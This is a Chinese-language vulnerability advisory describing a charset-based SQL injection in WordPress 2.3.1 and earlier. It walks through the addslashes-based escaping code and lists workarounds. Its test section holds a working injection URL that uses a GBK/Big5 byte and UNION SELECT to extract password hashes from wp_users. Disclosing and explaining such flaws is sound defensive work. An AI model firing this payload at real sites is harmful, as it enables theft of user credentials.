安全研究

安全漏洞
WordPress wp-db.php文件字符集SQL注入漏洞

发布日期:2007-12-10
更新日期:2007-12-11

受影响系统:
WordPress WordPress <= 2.3.1
描述:
BUGTRAQ  ID: 26795

WordPress是一款免费的论坛Blog系统。

WordPress处理用户数据时存在漏洞,远程攻击者可能利用此漏洞执行SQL注入攻击。

WordPress中的大多数数据库查询使用escape()方式过滤SQL字符串,实际上是通过addslashes()函数过滤输入,而addslashes()函数没有考虑SQL字符串中所使用的字符集,盲目的向单引号前插入反斜线,这样的反斜线可能会形成其他有效的字符。以下是wp-includes/query.php中的漏洞代码:

// If a search pattern is specified, load the posts that match
if ( !empty($q['s']) ) {
  ......
  foreach((array)$q['search_terms'] as $term) {
    $term = addslashes_gpc($term);
  ......
}

addslashes_gpc()是在wp-includes/formatting.php中定义的:

function addslashes_gpc($gpc) {
  ......
  return $wpdb->escape($gpc);
}


escape()方式属于wp-includes/wp-db.php:

function escape($string) {
  return addslashes( $string ); // Disable rest for now, causing problems
  ......
}

当WordPress试图查询使用了特定字符集的MySQL数据库时,就会导致基于字符集的SQL注入攻击。目前已知的可利用字符集包括Big5和GBK等。

<*来源:Abel Cheung (abelcheung@gmail.com
  
  链接:http://marc.info/?l=bugtraq&m=119731694600466&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://www.example.com/wordpress/index.php?exact=1&amp;sentence=1&amp;s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**/SELECT/**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/wp_users%23

建议:
临时解决方法:

* 配置WordPress数据库使用UTF-8之类的字符集。
* 编辑WordPress主题删除搜索功能。

厂商补丁:

WordPress
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://wordpress.org/

浏览次数:5109
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障